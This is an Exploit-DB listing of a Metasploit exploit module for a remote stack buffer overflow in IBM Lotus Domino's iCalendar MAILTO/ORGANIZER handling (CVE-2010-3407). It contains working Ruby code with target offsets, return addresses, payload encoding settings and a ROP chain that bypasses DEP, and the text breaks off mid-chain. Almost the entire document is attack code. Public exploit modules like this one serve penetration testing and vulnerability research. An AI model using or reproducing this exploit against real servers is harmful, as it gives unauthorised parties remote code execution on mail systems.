Exploit-DB #17151
Description: IBM Lotus Domino iCalendar - MAILTO Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-04-04
Author: Metasploit

Exploit:
##
# $Id: domino_icalendar_organizer.rb 12236 2011-04-04 17:43:34Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "IBM Lotus Domino iCalendar MAILTO Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in IBM Lotus Domino iCalendar.  By
				sending a long string of data as the "ORGANIZER;mailto" header, process "nRouter.exe"
				crashes due to a Cstrcpy() routine in nnotes.dll, which allows remote attackers to
				gain arbitrary code execution.

				Note: In order to trigger the vulnerable code path, a valid Domino mailbox account
				is needed.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 12236 $",
			'Author'         =>
				[
					'A. Plaskett',  #Initial discovery, poc
					'sinn3r',       #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2010-3407' ],
					[ 'OSVDB', '68040' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-177/' ],
					[ 'URL', 'http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_overflow/' ],
					[ 'URL', 'http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515' ],
				],
			'Payload'        =>
				{
					'BadChars' => [*(0x00..0x08)].pack("C*") + [*(0x10..0x18)].pack("C*") + [*(0x1a..0x1f)].pack("C*") + "\x2c" + [*(0x80..0xff)].pack("C*"),
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' => {'BufferRegister'=>'ECX'},
					'StackAdjustment' => -3500,
				},
			'DefaultOptions' =>
				{
					'ExitFunction' => "process",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Lotus Domino 8.5 on Windows 2000 SP4',
						{
							'Offset'    => 2374,           #Offset to EIP
							'Ret'       => 0x6030582B,     #JMP ECX
							'MaxBuffer' => 9010,           #Total buffer size
						}
					],
					[
						'Lotus Domino 8.5 on Windows Server 2003 SP0',
						{
							'Offset'    => 2374,           #Offset to EIP
							'Ret'       => 0x6030582B,     #JMP ECX (Domino\\nnotes.dll)
							'MaxBuffer' => 9010,           #Total buffer size
						}
					],
					[
						'Lotus Domino 8.5 on Windows Server 2003 SP2',
						{
							'Offset'    => 2374,           #Offset to EIP
							'Ret'       => 0x604C4222,     #ADD AL,0x5E ; RETN
							'EAX'       => 0x7C35287F,     #Initial CALL VirtualProtect addr to align (MSVCR71.dll)
							'EaxOffset' => 2342,           #Offset to EAX
							'RopOffset' => 24,             #Offset to ROP gadgets
							'MaxBuffer' => 9010,           #Total buffer size
						}
					],
				],
			'DisclosureDate' => "Sep 14 2010",
			'DefaultTarget'  => 2))

			register_options(
				[
					Opt::RPORT(25),
					OptString.new('MAILFROM', [true, 'Valid Lotus Domino mailbox account', '']),
					OptString.new('MAILTO',   [true, 'Valid Lotus Domino mailbox account', '']),
				], self.class)
	end

	def check
		connect
		banner = sock.get_once(-1,5).chomp
		disconnect

		if banner =~ /Lotus Domino Release 8.5/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end
	
	def exploit
		sploit = ''
		if target.name =~ /Windows 2000 SP4/

			sploit << rand_text_alpha(934)
			sploit << payload.encoded
			sploit << rand_text_alpha((target['Offset']-sploit.length))
			sploit << [target.ret].pack('V')
			sploit << rand_text_alpha((target['MaxBuffer']-sploit.length))

		elsif target.name =~ /Server 2003 SP0/

			sploit << rand_text_alpha(930)
			sploit << payload.encoded
			sploit << rand_text_alpha((target['Offset']-sploit.length))
			sploit << [target.ret].pack('V')
			sploit << rand_text_alpha((target['MaxBuffer']-sploit.length))

		elsif target.name =~ /Server 2003 SP2/

			#Borrow a "CALL VirtualProtect()" in Domino's MSVCR71.dll to bypass DEP
			#shellcode max = 1312 bytes
			rop_gadgets =
			[
				#EAX should be aligned to CALL VirtualProtect at this point
				0x604F5728,  #MOV DWORD PTR DS:[ECX],EAX; RETN (nnotes.dll)
				#Set shellcode address
				0x6247282B,  #MOV EAX,ECX; RETN (nlsccstr.dll)
				0x62454F32,  #ADD AL,2B; RETN (nlsccstr.dll)
				0x603F7B38,  #ADD AL,31; RETN (nnotes.dll)
				0x624B7040,  #MOV DWORD PTR DS:[ECX+4],EAX; RETN (nnotes.dll)
				#Set RETN value
				0x60577B7A,  #XCHG EAX,EDX; RETN (nnotes.dll)
				0x62452E35,  #MOV EAX,ECX; RETN (nlsccstr.dll)
				0x60606F4E,  #ADD AL,5D; RETN (nlsccstr.dll)
				0x603E6260,  #DEC EAX; RETN (nnotes.dll)
				0x603E6260,  #DEC EAX; RETN (nnotes.dll)
				0x603E6260,  #DEC EAX; RETN (nnotes.dll)
				0x603E6260,  #DEC EAX; RETN (nnotes.dll)
				0x603E6260,  #DEC EAX; RETN (nnotes.dll)
				0x7C3A4C72,  #MOV DWORD PTR DS:[EAX],EDX; RETN (msvcp71.dll)
				0x6247282B,  #MOV EAX,ECX; RETN (nlsccstr.dll)
				0x60253B6D,  #XCHG EAX,EBP; RETN (nnotes.dll)
				#Set Size (0x413)
				0x605A4B30,  #MOV EAX,205; RETN (nnotes.dll)
				0x605A4B30,  #MOV EAX,205; RETN (nnotes.dll)
				0x60592A36,  #ADD EAX,107; RETN (nnotes.dll)
				0x603B4C27,  #ADD AL,2B; RETN (nnotes.dll)
				0x624B7044,  #MOV DWORD PTR DS:[ECX+8],EAX; RETN
				0x604C5225,  #XOR EAX, EAX; RETN
				#newProtect
				0x60386C3C,  #MOV AL,3B; RETN (nnotes.dll)
				0x624D4C27,  #INC EAX; RETN (nlsccstr.dll)
				0x624D4C27,  #INC EAX; RETN (nlsccstr.dll)
				0x624D4C27,  #INC EAX; RETN (nlsccstr.dll)
				0x624D4C27,  #INC EAX; RETN (nlsccstr.dll)
				0x624D4C27,  #INC EAX; RETN (nlsccstr.dll)
				0x624B7048,  #MOV DWORD PTR DS:[ECX+C],EAX; RETN
				#oldProtect